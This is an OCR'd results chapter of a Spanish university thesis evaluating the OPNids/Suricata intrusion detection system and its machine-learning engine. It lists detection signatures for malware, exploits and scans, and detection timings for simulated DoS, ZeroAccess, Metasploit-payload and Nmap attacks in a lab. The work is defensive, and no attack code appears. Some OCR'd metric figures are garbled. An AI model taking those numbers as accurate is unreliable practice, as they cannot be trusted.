El total de bytes analizados fue de 35.50 GB. En el anexo A se puede observar las estadisticas de

los paquetes in/out de la vlan estudiantes.

El registro de las alertas detectadas se lo realizo todos los dias a las 8:30 am, sin embargo, las
alertas de los sabados y domingos se registraban los lunes. Este fue un proceso repetitivo en el

gue se pudo observar el comportamiento de la red de la FIE y de la vlan estudiantes.
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Las amenazas que se registraron son de diferentes tipos en la vlan estudiantes, en general se
detectd presencia de malware, gusanos, troyanos, exploits, rootkits, escaneo de red y puertos,
intentos de DoS, los cuales fueron detectados por OPNids en el trafico de datos de la vlan. Las
direcciones IP tanto de origen como destino eran diferentes, sus objetivos cambiaban dia a dia e
intentaban buscar vulnerabilidades de un computador a otro conectado en la Vlan Estudiantes. En
las tablas siguientes se muestra un resumen de las principales amenazas detectadas por OPNids
en los dos meses de analisis respectivamente con su respectivo identificador de seguridad (SID)

de Suricata IDS el que nos permite saber que alerta es y a que posible amenaza corresponde.

Tabla 2-3: Resumen de amenazas registradas en la Vlan Estudiantes en diciembre 2019

SID Alerta Descripcion Caddigo
ET POLICY GNU/Linux APT | Violacion de politica de actualizacion
2013504 User-Agent Outbound likely | de paquetes en sistemas GNU/Linux a

related to package management | través del gestor de paquetes APT
ET POLICY GNU/Linux YUM | Violacion de politica de actualizacién
2013505 User-Agent Outbound likely | de paquetes en sistemas GNU/Linux a

related to package management | través del gestor de paquetes YUM

ET SCAN Behavioral Unusual | Escaneo inusual a través del puerto
2001569 | Port 445 traffic Potential Scan or | 445 en el cual puede existir una

Infection infeccién potencial.

ET SCAN Behavioral Unusual | Escaneo inusual a través del puerto Probe

2001579 | Port 139 traffic Potential Scan or | 139 en el cual puede existir una
Infection infeccion potencial.

ET POLICY Possible Kali Linux | Violacion de politica, posible host de

2022973 hostname in DHCP Request Kali Linux en peticion de paquete
Packet DHCP.

ET POLICY External IP Check |Escaneo de la IP publica con fines

2019980 ) A
myexternalip.com para dirigir un ataque remoto.
Potencial conexién Command-Control
SURICATA Applayer Detect | detectada en capa de aplicacion. Se R2L
2260002

protocol only one direction puede tratar de un malware, mineros o

una red Botnet.

Potencial ataque DOS a través del

) protocolo (SSDP) utilizado para la DoS
ET DOS Possible SSDP ) ) o
2019102 o ) deteccion de dispositivos Plug & Play
Amplification Scan in Progress
(UPnNP). El protocolo es vulnerable a

ataques DoS y DDoS.
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Tabla 2-3 (continuacion)

2018131 ET WORM Malware The Moon afecta a
TheMoon.linksys.router 1 determinados routers Linksys Wi-Fi
y puntos de acceso y enrutadores
Wireless-N. The Moon omite la
autenticacion en el router iniciando U2R
sesion. Una vez infectado, el router
comienza a inundar la red con el

trafico saliente de los puertos 80 y

8080.
2018372 ET EXPLOIT Malformed El atacante aprovecha la
HeartBeat Request vulnerabilidad de HeartBeat

OpenSSL para evadir la autenticacion
multifactor de un VPN.

2015474 | ET TROJAN ZeroAccess, ZeuS | Es un malware troyano ZeroAccess 0
udp traffic detected Zeus y todas sus versiones. Utilizaun | R2L

rootkit de bajo nivel para ser
persistente y realizar fraudes por clic
ademas de ser un backdoor para

multiples propdsitos.

Realizado por: Herrera, Jonathan 2021.

La tabla 2-3 presenta las amenazas registradas en mayor nimero e importancia, el intento de
atague de comando y control, detectado a través de la capa de aplicacion por el OPNids con el
SID 2260002; una amenaza de alta prioridad ya que si el atacante logra tener éxito se hace del
control de la victima, llegando a convertirse en una amenaza persistente en busca de escalar
privilegios y obtener acceso o puede llegar a consumir recursos informaticos como un
criptominero o Botnets , el malware Zeus o troyano ZeroAccess con SID 2015474; identificados
para realizar un fraude de pago por clics en conjunto de su backdoor para la instalacion de
ransomware, envenenamiento web, entre otros, ademas de un intento de denegacion de servicios
(DoS) con SID 2019102; que se registro el 20 de diciembre de 2019 a través de una vulnerabilidad
del protocolo SSDP utilizado para la deteccion de dispositivos Plug & Play (UPnP), el protocolo
es vulnerable a ataques DoS y DDoS basados en reflexién, los mensajes de respuesta grandes
podrian hacer que el servicio consuma recursos del servidor y provocar un ataque exitoso.
Escaneos a la red con el SID 2001569; en busca de la vulnerabilidad del protocolo SMB a través

de los puertos 445 y 139 para posibles infecciones. Estas amenazas informaéticas detectadas por
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la plataforma OPNids se relacionan al uso de internet, los estudiantes navegan por todo tipo de

paginas sin tener un control e infectan la red y generan potenciales ataques informaticos dirigidos

a la infraestructura de red de la FIE y por ende de la ESPOCH.

En el mes de enero las alertas registradas disminuyeron debido a que los estudiantes de la facultad

entraron en proceso de evaluaciones académicas y dias feriados, por ende, los laboratorios dejaron

de ser utilizados de forma habitual, pero aun asi existieron amenazas importantes que deben ser

analizadas. En la tabla 3-3 se presenta las amenazas detectadas en el mes de enero y primeros dias
de febrero 2020.

Tabla 3-3: Resumen de amenazas registradas en la Vlan Estudiantes en enero 2020

SID Alerta Descripcion Caddigo
Potencial conexion Command-Control
2260000 SURICATA Applayer Detect | detectada en capa de aplicacion. Se puede R2L
protocol only one direction | tratar de un malware, mineros o una red
Botnet.
Intento de intrusion a traves del backdoor
ET MALWARE . )
2008060 Doublepulsar, utilizado para ejecutar U2R
DoublePulsar o o
malware de cualquier tipo en la victima.
Se realizo un escaneo de rango de ip"s con | Probe
2000538 | ET SCAN NMAP -sA (1) )
la herramienta Nmap.
Malware descargado por el usuario a través
ET MALWARE User-Agent ) » )
2008052 de la instalacion de barras de herramientas U2R
(Internet Explorer) ) o
en cubiertas con software malicioso.
Se explota la vulnerabilidad OpenSSL de
ET EXPLOIT Malformed ] L
2018372 Heartbleed para eludir la autenticacion
HeartBleed Request .
multifactor en las VPN (CVE-2014-0160).
2001978 ET POLICY SSH session in | Violacién de politica, conexidn a través de
progress on Expected Port | SSH por puerto externo. R2L
ET POLICY SMB Remote | Violacion de politica utilizando posible
2025712 AT Scheduled Job Create | técnica de movimiento lateral para ataque a
Request — Possible Lateral |través del protocolo SMB.
Movement
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Tabla 3-3 (continuacion)

ET NETBIOS DCERPC | Posible técnica de movimiento lateral
DCOM utilizada para trafico SMB,
ExecuteShellCommand Call - | MSIL/fhRansum, Kaprav, Phishing,

2027189

Likely Lateral Movement | Mdviles.

Potencial conexion Command-Control U2R

detectada en capa de aplicacién. Se puede
SURICATA Applayer Detect ]
2260002 o tratar de un malware, mineros o una red
protocol only one direction

Botnet.
ET DELETED Spambot Sospecha sobre posible bot de spam
2001815 | Suspicious 220 Banner on utilizando el protocolo SMTP. DoS

Local Port

Realizado por: Herrera, Jonathan 2021.

La tabla 3-3 presenta las principales amenazas informaticas detectadas por la plataforma OPNids
en el mes de enero y los primeros dias de febrero de 2020, de igual manera que en el mes de
diciembre 2019 las amenazas presentes son de diferentes tipos, empezando por escaneos
identificados con el SID 2000538; realizados con la herramienta Nmap en la red de la FIE en
busca de vulnerabilidades a través de los puertos o servicios, intentos de robo de informacién con
el SID 2008052; utilizando una vulnerabilidad de Internet Explore en Windows 7/8/10 esta
amenaza es producto de agentes externos, es decir, los estudiantes que conectaban sus laptops en
la red mientras se efectuaba el andlisis y generaban dicha amenaza, ademas de intentos de
encriptacion de informacién con el SID 2025712; a través del ataque con el Backdoor
Doublepulsar explotando la vulnerabilidad del protocolo SMB version 1 o 2 con el objetivo de
gjecutar ransomware, persisten intentos de intrusion de comando y control a través de malware
con el SID 2260002; una amenaza de alta prioridad ya que si el atacante logra tener éxito se hace
del control de la victima, llegando a convertirse en una amenaza persistente en busca de escalar
privilegios y obtener acceso o puede llegar a consumir recursos informaticos como un
criptominero o Botnets y para finalizar con el SID 2001978; una amenaza sobre violacion a
politicas e intento de conexidén SSH. En el anexo B se observa de manera detallada el registro de

las amenazas en los dos meses de anélisis de la vlan estudiantes.
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3.2.2. Tréfico de datos y amenazas detectadas en la VIan Docentes

El anélisis de trafico de datos de la Vlan docentes tuvo una duracién de un mes aproximadamente,
empezo del 03 de febrero al 02 de marzo de 2020 a las 08:00 AM; se analizé el trafico durante
toda la jornada laboral. Este mes se evidencio una cantidad de alertas baja acorde al tipo de vlan
y los usuarios en ella. EI procedimiento se detall6 en el capitulo 2 y se obtuvo los siguientes

resultados:

Tabla 4-3: Estadisticas del trafico de datos analizados por OPNids en la Vlan Docentes

Mes Febrero
Descripcion # de paquetes Porcentaje del total
Paquetes in 23200341 100%
Paquetes out 4761 0.021%
Total Bytes 4.30 GB

Realizado por: Herrera, Jonathan 2021.

En la tabla 4-3 se observa la cantidad de trafico de datos, los paquetes de entrada y salida que
analizo OPNids de los cuales, en el mes de febrero 2020 analiz6 un total de 23M de paquetes de
entrada siendo el 100% y un 0.021% de paquetes de salida, sus valores son considerablemente
bajos en comparacion con la Vlan estudiantes, pero l6gicos con respecto a lo mencionado en
parrafos anteriores. El total de bytes analizados fue de 4.30 Gb. En el anexo C se observa las
estadisticas de los paguetes in/out de la vlan docentes. El registro de las alertas detectadas se lo
realizo todos los dias a las 8:30 am, sin embargo, las alertas de los sdbados y domingos se
registraban los lunes. Este fue un proceso repetitivo en el que se pudo observar el comportamiento

de lared de la FIE y de la vlan docentes.

Las amenazas detectadas en la Vlan docentes son muy similares a las que se encontraron en la
vlan estudiantes, pero en menor cantidad, se detectd presencia de escaneos de red, malware,
troyanos, los cuales fueron detectados por OPNids en el trafico de datos de la vlan. Las
direcciones IP tanto de origen como destino eran diferentes, sus objetivos cambiaban dia a dia e
intentaban buscar vulnerabilidades de un computador a otro conectado en la Vlan docentes. En la
tabla siguiente se muestra un resumen de las principales amenazas detectadas por OPNids en el
mes de analisis con su respectivo identificador de seguridad (SID) de Suricata IDS el que nos

permite saber que alerta es y a que posible amenaza corresponde.
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Tabla 5-3: Resumen de amenazas registradas en la Vlan docentes en febrero 2020

SID Alerta Descripcion Cadigo

Potencial conexion Command-Control
2260000 SURICATA Applayer Detect | detectada en capa de aplicacion. Se puede R2L
protocol only one direction | tratar de un malware, mineros o una red

Botnet.

Se realizo un escaneo de rango de ip"s con | Probe
2000538| ET SCAN NMAP -sA (1) ]
la herramienta Nmap.
Se explota la vulnerabilidad OpenSSL de U2R
ET EXPLOIT Malformed | Heartbleed para eludir la autenticacién

HeartBleed Request multifactor en las VPN (CVE-2014-0160).

2018372

ET POLICY SSH session in | Violacion de politica, conexion a través de R2L
2001978

progress on Expected Port | SSH por puerto externo.

Realizado por: Herrera, Jonathan 2021.

La tabla 5-3 presenta las principales amenazas informaticas detectadas por la plataforma OPNids
en el mes de febrero de 2020, empezando por escaneos identificados con el SID 2000538;
realizados con la herramienta Nmap en la red de la FIE en busca de vulnerabilidades a través de
los puertos o servicios, intentos de conexién remota con el SID 2001978; utilizando una violacién
de politicas en una sesién SSH establecida por un puerto externo, ademas de uso de exploit con
el SID 2018372; a través de la vulnerabilidad de OpenSSL para evadir autenticacion a través de
VPN vy para finalizar persisten intentos de intrusion de comando y control a través de malware
con el SID 2260000; una amenaza de alta prioridad ya que si el atacante logra tener éxito se hace
del control de la victima, Ilegando a convertirse en una amenaza persistente en busca de escalar
privilegios y obtener acceso o puede llegar a consumir recursos informéaticos como un
criptominero o Botnets. En el anexo D se observa de manera detallada el registro de las amenazas

del analisis de trafico de datos de la vlan docentes.

3.3. Resultados del entramiento simulado del motor de machine learning DragonFly

En esta seccion se muestra los resultados obtenidos del entrenamiento simulado del motor de
machine learning DragonFly en conjunto con el script adicional a través de los dos conjuntos de

datos (datasets). El procedimiento se detalla en el capitulo 2.
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3.3.1. Resultados del entramiento del motor de machine learning con KDD99

El motor de machine learning en conjunto con el script adicional utilizando el dataset KDD99
para el entrenamiento del algoritmo de clasificacién supervisado Random Forest obtuvo los
resultados que se observa en la Figura 1-3. El procedimiento para obtener estos resultados fue

explicado en el capitulo 2 y el algoritmo programado se encuentra en el Anexo E.

"[78324 %) 1 %) a]
[ @ 19432 1 4 1]
[ @ 4 787 8 @]
[ @ 8 @ 188 a]
[ 2 2 a 8 3]
ACCUracy: B.9997874681457708

precision recall fTl-score

& 1.e8 l.ee 1.ea

1 1.8a 1.68 1.6

2 1.ee @.99 1.ee

3 @.98 @.96 @.97

4 8.75 é.68 @.67

ACCUracy 1.8

macra avg @.95 @.91 @.93

weighted avg 1.88 1.08 1.08

Figura 1-3: Resultados del entrenamiento del algoritmo con
KDD99

Realizado por: Herrera, Jonathan 2021.

La Figura 1-3 consta de tres partes, en primer lugar, dentro del recuadro de borde verde esta la
matriz de confusion del algoritmo, a través de ella se puede calcular todos los pardmetros que
necesitamos para la evaluacion de este, a continuacion, se observa la “Accuracy” o precision y
para finalizar en el recuadro de borde amarillo se observan los parametros calculados por
categoria.

La “Accuracy” o precision es uno de los parametros méas importantes ya que como su nombre lo
indica, nos afirma que tan preciso puede llegar a ser el modelo, su valor tiende a aproximarse a 1
0 su equivalente al 100%, ese valor se lo puede obtener después de realizar varias pruebas al
modelo de machine learning, sin embargo, es algo que Gnicamente se puede lograr de forma ideal,
ya que en la practica se busca una aproximacion lo mas cercana al 100%. La precision se define
como la relacién entre muestras clasificadas correctamente y el nimero total de muestras (Farnaaz
& Jabbar, 2016, pp. 215). La precision calculada con el conjunto KDD99 es de 99% y se puede calcular

con la ecuacioén 1-3:
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Ao (SumDP)
"~ (SumDP + SumRV )

Ecuacion 1-3: Precision del algoritmo RF.

Donde:
SumDP = Suma de los valores de la diagonal principal.

SumRV = Suma del resto de los valores de la matriz.

Para calcular la sensibilidad o recall, el puntaje F1 y cualquier otro pardmetro como ya se
mencion6 en parrafos anteriores se utilizo la matriz de confusién, como se observa en la tabla 6-
3.

Tabla 6-3: Matriz de confusion.

Clasificacion

Normal Ataque
Dataset Normal TP FN
Ataque FP TN

Realizado por: Herrera, Jonathan 2021.

Donde:
True Positive (TP) = Verdaderos positivos, no existe amenazas.

False positive (FP) = Falsos positivos, genera una alerta de ataque a pesar de no existir una

amenaza.

False negative (FN) = Falsos negativos, no genero una alerta de ataque a pesar de existir una

amenaza.

True negative (TN) = Verdadero negativo, existe amenazas.

La sensibilidad o recall nos permite saber si el algoritmo de machine learning esta clasificando
de una manera correcta y de cuan sensible puede llegar a ser de existir algin cambio. Se calcula

con la ecuacién 2-3:

TP

S=TPTEN

Ecuacion 2-3: Sensibilidad del algoritmo RF.
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Ejecutar varias veces el script cada vez que se necesita observar cambios de los parametros con
respecto al algoritmo de machine learning, es sencillo; cuando se maneja conjuntos de datos
predeterminados como en este caso en particular un dataset predeterminado KDD99, pero cuando
él conjunto de datos posea un volumen de informacion muy alto como lo es el de la FIE
representara un gran consumo de recursos informaticos y de tiempo, por tal razon se puede
calcular el parametro puntaje F1 que representa la relacion entre la precisién y sensibilidad en un

Unico valor. Se calcula con la ecuacion 3-3.

Pl = 2 * presicion * sensibilidad

presicion + sensibilidad

Ecuacion 3-3: Puntaje F1 del algoritmo RF.

En la tabla 7-3 se observa los parametros de precision, sensibilidad o recall y puntaje F1 cada uno
de ellos calculado por categoria. Al tratarse de una simulacion con un conjunto de datos
predeterminado para entrenamiento de los algoritmos de machine learning es comdn obtener
valores del 100% como en las categorias DoS y Probe, un porcentaje mas apegado a la realidad
es el que muestra “U2R” con un 98%, al contrario lo que sucede con “R2L” con el 75% es un
valor que no es aceptable, pero esto se debe porque el conjunto KDD99 posee pocas muestras de
este tipo de ataques, por consecuencia con un dataset mas completo se podra mejorar los

parametros de evaluacion.

Tabla 7-3: Parametros de evaluacion por categoria KDD99

Categoria Precision Sensibilidad o recall Puntaje F1
DoS 100% 100% 100 %
U2R 98% 96% 97%
R2L 75% 60% 67%

PROBE 100% 99% 100%

Realizado por: Herrera, Jonathan 2021.

3.3.2. Resultados del entramiento del motor de machine learning con OPNids-eve.json

El log eve.json del IDS Suricata integrado en la plataforma OPNids fue descargado del servidor
de la FIE, ya que este archivo posee todos los flujos de red del IDS en los dos meses del andlisis

de tréafico de datos los cuales fueron utilizados para el entramiento del motor de machine learning
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con su algoritmo Random forest como se observan en la Figura 2-3. El procedimiento para obtener

estos resultados fue explicado en el capitulo 2.

[[339752 © 1824 o 0]
[ @ 88721 1572 1638 1760]
[ @ 1956 40167 e ]
[ @ 1814 @ 80253 0]
[ @ 660 ) @ 77921]
Accuracy: ©0.982487460148778 <

precision recall f1l-score

e .98 2.93 .93

1 8.97 8.97 .97

2 8.98 8.99 ©.98

3 ©.98 2.96 8.97

4 8.97 .93 .97

accuracy .98

macro avg ©8.97 0.91 .93

weighted avg 0.99 0.99 0.97

Figura 2-3: Resultados del entrenamiento del algoritmo con

OPNids-eve.json

Realizado por: Herrera, Jonathan 2021.

La Figura 2-3 consta de tres partes, en primer lugar, dentro del recuadro de borde verde esta la
matriz de confusion del algoritmo, a través de ella se puede calcular todos los pardmetros que
necesitamos para la evaluacion de este, a continuacion, se observa la “Accuracy” o precision y
para finalizar en el recuadro de borde amarillo se observan los parametros calculados por

categoria.

La “Accuracy” o precision del modelo calculada con el conjunto de datos OPNids-Suricata del
log eve.json es de 98%, como se observa es un dato mucho mas real al comparalo con el de
KDD99 por varias razones como son: un conjunto de datos de mayor volumen, técnica de
ensamble de arboles “Bootstrap”, numero de estimadores (nimero de &rboles) a implementar en
el “bosque”; se utilizo un estimado de 100 arboles, valor por defecto; sin embargo, el numero
dependera en gran medida a los recursos informaticos que posea el computador que alberga a la
plataforma OPNids, ademas se debe tener en cuenta el sobre ajuste del modelo, no por méas
estimadores que se usen va a mejorar el algoritmo y si lo hiciera la diferencia seria minima
cayendo en el error de sobre ajuste.
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Tabla 8-3: Parametros de evaluacion por categoria OPNids-eve.json

Categoria Precision Sensibilidad o recall Puntaje F1
DoS 98 % 98 % 98 %
U2R 97 % 98 % 97 %
R2L 98 % 96 % 97 %

PROBE 98 % 99 % 98 %

Realizado por: Herrera, Jonathan 2021.

En la tabla 8-3 se observa los parametros de precision, sensibilidad o recall y puntaje F1 cada uno
de ellos calculado por categoria. Al tratarse de una simulacién con un conjunto de datos reales,
filtrados, limpiado y categorizados se logra un modelo de machine learning muy preciso. En todas
las categorias tenemos un promedio del 98% en general que nos da la certeza de un modelo preciso
y con gran sensibilidad de clasificacion. Con la categoria “R2L” tiene 96 % de sensibilidad es un
valor aceptable, que puede mejorar con forme un mayor tiempo de entrenamiento y aumento del

volumen de datos registrados, sin caer en los errores mencionados.

3.4. Resultados de la evaluacién de la plataforma OPNids a través de la simulacion de las

amenazas detectadas mediante un escenario virtual

Con el entrenamiento del motor de machine learning DragonFly de la plataforma OPNids, se
obtuvo un resultado de precisién y sensibilidad del 98%. Este resultado nos permite concluir que
la plataforma OPNids a través del IDS Suricata y el motor de machine learning DragonFly realiza
una efectiva deteccion de las amenazas informaticas en la intranet del edificio de la FIE, por esta
razén para evaluar el desempefio y efectividad de la plataforma OPNids en la deteccion de tréfico
de datos malicioso se procedio a realizar 4 ataques informaticos, uno por cada categoria; DoS,
U2R, R2L y Probe, los cuales fueron escogidos por medio del registro de las amenazas del analisis
de trafico de datos de la FIE. El procedimiento de cada ataque se detalla en la etapa 3 del capitulo
2.

3.4.1. Resultados de la evaluacién de la plataforma OPNids mediante ataque DoS Slowloris

Para evaluar el desempefio y efectividad de la plataforma OPNids se realiz6 un atague informatico
de denegacion de servicio (DoS) cuyo procedimiento se lo detallo en la etapa 3 del capitulo 2. A

continuacion, procedemos a revisar los resultados del ataque informatico.
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La plataforma OPNids estuvo analizando el trafico de datos durante todo tiempo de ejecucion del
atague informatico, en la Figura 3-3 se presenta la alerta del ataque DoS generada a través del

IDS Suricata comprobando el correcto desempefio de la plataforma OPNids en la deteccion de

trafico de datos malicioso en la red simulada del laboratorio de la FIE.

Timestamp 2021-01-03T10:18:39.373565-0500
Alert ET DOS Possible Listed Traffic Inbound
Alert sid 2102181
Protocol TCP
Source IP 192.168.193.135
Destination IP 192.168.193.138
interface tap
Configured action ¢/ Enabled
Alert bt

Figura 3-3: Alerta del ataque DoS en la plataforma OPNids

Realizado por: Herrera, Jonathan 2021.

Para evaluar la efectividad de la plataforma OPNids en la deteccion del trafico de datos malicioso
se ejecutd 40 pruebas seguidas del ataque con diferente nimero de paquetes y se registrd los

tiempos de deteccion como se observa en la tabla 9-3.

Tabla 9-3: Deteccidon del ataque DoS 40 veces con OPNids

Prucha Tiempo de envio6 de paquetes Paquetes Tiempo de deteccion
(segundos) (segundos)
1 1 2000 10:18:39.374 hora inicial
2 1 2185 40.508
3 1 2370 41.868
4 1 2555 42123
S 1 2740 43.937
6 1 2925 44353
! 1 3110 45.653
8 1 3205 46.373
9 1 3480 47579
10 1 3665 48419
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Tabla 9-3 (continuacion)

11 1 3850 49.879
12 1 4035 50.125
13 1 4220 51.476
14 1 4405 52.298
15 1 4590 53.473
16 1 4775 54.506
17 1 4960 55.256
18 1 5145 56.367
19 1 5330 57.478
20 1 5515 58.589
21 1 5700 59.189
22 1 5885 01.675
23 1 6070 02.493
24 1 6255 03.438
25 1 6440 04.598
26 1 6625 04.976
27 1 6810 05.146
28 1 6995 05.479
29 1 7180 05.664
30 1 7365 05.873
31 1 7550 06.167
32 1 7735 06.317
33 1 7920 06.768
34 1 8105 06.918
35 1 8290 07.269
36 1 8475 07.520
37 1 8660 07.770
38 1 8845 07.921
39 1 9030 08.272
40 1 9215 08.422

Realizado por: Herrera, Jonathan 2021.

Una vez realizada las 40 pruebas se produce la deteccion del ataque informatico por consecuencia
se generan las alertas por parte del IDS suricata, el tiempo de deteccion en promedio es

aproximadamente 1 segundo, sin embargo, el motor de machine learning produce un efecto de
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solape ya que a partir de la prueba #26 se observa una deteccioén dentro del mismo segundo y
avanza progresivamente, entre las pruebas #27 al #40 se diferencia que el tiempo de deteccion del
ataque se redujo en promedio aproximadamente a 255 ms. Como se observa en el grafico 1-3 a
partir de la prueba #27 se evidencia una estabilidad de la deteccion del ataque informatico,
tomando en cuenta que se encuentra en un ambiente simulado la plataforma OPNids presenta

mejoras en la deteccion de ataques de tipo DoS.

DeteccionTiempo vs NumeroPruebas

2.000

=
ul
o
=}

4 A I\A A goq
oo 'R vh\(
Jl \V/\W

1 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39

Numero de pruebas

Milisegundos

==@==Diferencia de tiempo entre deteccion - OPNids

Gréfico 1-3: Diferencia de tiempo entre detecciones en ataque DoS

Realizado por: Herrera, Jonathan 2021.

3.4.2. Resultados de la evaluacién de la plataforma OPNids mediante ataque de Remote to
Local (R2L)

Para evaluar el desempefio y efectividad de la plataforma OPNids se realiz6 un ataque informético
de Remote to local (R2L) cuyo procedimiento se lo detallo en la etapa 3 del capitulo 2. A

continuacion, procedemos a revisar los resultados del ataque informatico.

La plataforma OPNids estuvo analizando el trafico de datos durante todo tiempo de ejecucion del
atague informatico, en la Figura 4-3 se presenta la alerta del ataque R2L generada a través del
IDS Suricata comprobando el correcto desempefio de la plataforma OPNids en la deteccion de

trafico de datos malicioso en la red simulada del laboratorio de la FIE.
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Alert info Alert info

Timestamp 2021-03-10T15:46:14.081729-0500 Timestamp 2021-03-10T15:46:35.517767-0500
Alert ET TROJAN ZeroAccess udp traffic detected Alert ET TROJAN ZeroAccess Outbound udp traffic detected
Alert sid 2015474 Alert sid 2015482
Protocol UDP Protocol ubP
Source IP 192.168.193.137 Source IP 192.168.193.137
Destination IP 85.114.128.127 Destination IP 194.152.10.104
Source port 55846 Source port 63098
Destination port 53 Destination port 16470
Interface tap Interface tap
Configured action Enabled Configured action Enabled
Alert Alert -

Figura 4-3: Alerta del ataque malware ZeroAccess en la plataforma OPNids

Realizado por: Herrera, Jonathan 2021.

Para evaluar la efectividad de la plataforma OPNids en la deteccién del trafico de datos malicioso
se ejecutd el ataque informatico repetidamente durante 30 minutos y se registrd el numero de

alertas con su respectiva hora inicial y final de deteccion como se observa en la tabla 10-3.

Tabla 10-3: Deteccién del ataque R2L durante 30 minutos con OPNids

Tiempo de ataque # de alertas Tiempo de deteccion (minutos)
10 minutos 50 15:46:14 (inicial) / 15:56:20 (final)
20 minutos 55 15:56:44 (inicial) / 16:06:36 (final)
30 minutos 65 16:06:54 (inicial) / 16:16:22 (final)

Realizado por: Herrera, Jonathan 2021.

Como se observa en la Tabla 10-3, durante los 30 minutos se realizaron aproximadamente 20
ataques informaticos simulados hacia la victima, en la cual se registraron todas las alertas
generadas por la plataforma OPNids evaluando el desempefio en la deteccion de trafico de datos
malicioso, el resultado confirma que mientras aumenta el tiempo del ataque las alertas de igual
manera ya que existe una mejora en la deteccidn, sin embargo en este tipo de atagues no se
observa una mejora en la efectividad de la plataforma OPNids; ya que asi el nimero de ataques
aumente el resultado sera el mismo con respecto al tiempo de deteccion, pero esto tiene una
explicacién y es que el vector de ataque de un malware envia una cantidad limitada de paquetes
para la infeccion y no genera un patrén para que el motor de machine learning DragonFly sea mas

efectivo.
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3.4.3. Resultados de la evaluacién de la plataforma OPNids mediante ataque de User to
Root (U2R)

Para evaluar el desempefio y efectividad de la plataforma OPNids se realiz6 un ataque informatico
de Usuario a Root (U2R) cuyo procedimiento se lo detallo en la etapa 3 del capitulo 2. A

continuacion, procedemos a revisar los resultados del atague informaético.

La plataforma OPNids estuvo analizando el trafico de datos durante todo tiempo de ejecucién del
ataque informatico, en la Figura 5-3 se presenta la alerta del ataque U2R generada a través del
IDS Suricata comprobando el correcto desempefio de la plataforma OPNids en la deteccién de

trafico de datos malicioso en la red simulada del laboratorio de la FIE.

Alert info

Timestamp 2021-03-12T15:34:53.513390-0500
Alert SURICATA Applayer Protocol detection skipped
Alert sid 2260003
Protocol TCP
Source IP 192.168.193.137
Destination IP 192.168.193.135
Source port 60360
Destination port 4444
Interface tap
Configured action Enabled
Alert

Figura 5-3: Alerta del ataque malware MSF Venom en la
plataforma OPNids

Realizado por: Herrera, Jonathan 2021.

Para evaluar la efectividad de la plataforma OPNids en la deteccion del trafico de datos malicioso
se ejecutd el ataque informatico repetidamente durante 30 minutos y se registrd el namero de

alertas con su respectiva hora inicial y final de deteccién como se observa en la tabla 11-3.

Tabla 11-3: Deteccion del ataque U2R durante 30 minutos con OPNids

Tiempo de ataque # de alertas Tiempo de deteccion (minutos)
10 minutos 30 15:34:50 (inicial) / 15:44:30 (final)
20 minutos 33 15:44:48 (inicial) / 15:54:40 (final)
30 minutos 40 15:54:58 (inicial) / 16:04:20 (final)

Realizado por: Herrera, Jonathan 2021.

104



Como se observa en la Tabla 11-3, durante los 30 minutos se realizaron aproximadamente 20
ataques informaticos simulados hacia la victima, en la cual se registraron todas las alertas
generadas por la plataforma OPNids evaluando el desempefio en la deteccion de trafico de datos
malicioso, el resultado confirma que mientras aumenta el tiempo del ataque las alertas de igual
manera ya que existe una mejora en la deteccion, sin embargo en este tipo de ataques no se
observa una mejora en la efectividad de la plataforma OPNids; ya que asi el nimero de ataques
aumente el resultado sera el mismo con respecto al tiempo de deteccion, pero esto tiene una
explicacién y es que el vector de ataque de un malware envia una cantidad limitada de paquetes
para la infeccion y no genera un patrén para que el motor de machine learning DragonFly sea mas

efectivo.

3.4.4. Resultados de la evaluacién de la plataforma OPNids mediante ataque de escaneo o

probe

Para evaluar el desempefio y efectividad de la plataforma OPNids se realiz6 un ataque informatico
de Escaneo (Probe) cuyo procedimiento se lo detallo en la etapa 3 del capitulo 2. A continuacion,

procedemos a revisar los resultados del ataque informatico.

La plataforma OPNids estuvo analizando el trafico de datos durante todo tiempo de ejecucion del
atague informatico, en la Figura 6-3 se presenta la alerta del ataque DoS generada a través del
IDS Suricata comprobando el correcto desempefio de la plataforma OPNids en la deteccion de

trafico de datos malicioso en la red simulada del laboratorio de la FIE.

Alert info

Timestamp 2021-03-17T13:32:46.777721-0500
Alert ET SCAN Possible Nmap User-Agent Observed
Alert sid 2024364
Protocol TCP
Source IP 192.168.193.135
Destination IP 192.168.193.137
Source port 50214
Destination port 2869
Interface tap
http hostname 192.168.193.137
http url /.gI/HEAD
http user_agent Mozilla/5.0 (compatible; Nmap Scripting Engine; https.//nmap.org/book/nse.html)
http content_type text/html
Configured action i1 Enabled
Alert -

Figura 6-3: Alerta del ataque de escaneo Nmap en la plataforma OPNids

Realizado por: Herrera, Jonathan 2021.
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Para evaluar la efectividad de la plataforma OPNids en la deteccion del trafico de datos malicioso
se ejecutd 40 pruebas seguidas del ataque y se registr6 los tiempos de deteccion como se observa
en la tabla 12-3.

Tabla 12-3: Deteccidon del atague de escaneo 40 veces con OPNids

Prueba Paquetes ICMP Tiempo de deteccion (minutos)
1 1 13:32:46.778 hora inicial
2 1 34:26.876
3 1 36:30.537
4 1 38:27.483
5 1 40:10.829
6 1 42:35.497
7 1 44:45.748
8 1 46:33.452
9 1 48:55.416
10 1 50:29.183
11 1 52:38.475
12 1 54:06.631
13 1 56:22.963
14 1 58:52.482
15 1 14:00:05.834
16 1 02:54.536
17 1 04:35.941
18 1 06:56.183
19 1 08:41.237
20 1 10:18.842
21 1 12:38.189
22 1 14:01.539
23 1 15:25.768
24 1 15:58.956
25 1 16:15.679
26 1 16:55.997
27 1 17:05.146
28 1 17:50.883
29 1 18:10.137
30 1 18:21.537
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Tabla 12-3 (continuacién)

31 1 18:45.732
32 1 18:58.258
33 1 19:08.674
34 1 19:15.697
35 1 19:35.159
36 1 19:48.748
37 1 20:05.749
38 1 20:26.498
39 1 20:40.714
40 1 20:58.963

Realizado por: Herrera, Jonathan 2021.

Una vez realizada las 40 pruebas se produce la deteccion del ataque informatico por consecuencia
se generan las alertas por parte del IDS suricata, el tiempo de deteccion en promedio es
aproximadamente 2:27 minutos, sin embargo, el motor de machine learning produce un efecto de
solape ya que a partir de la prueba #23 se observa una deteccion dentro del mismo minuto y
avanza progresivamente, entre las pruebas #24 al #40 se diferencia que el tiempo de deteccion del
atague se redujo en promedio aproximadamente a 31 segundos. Como se observa en el grafico 2-
3 a partir de la prueba #24 se evidencia una estabilidad de la deteccién del ataque informatico,

tomando en cuenta que se encuentra en un ambiente simulado la plataforma OPNids presenta

mejoras efectivas en la deteccion de ataques de tipo escaneo.
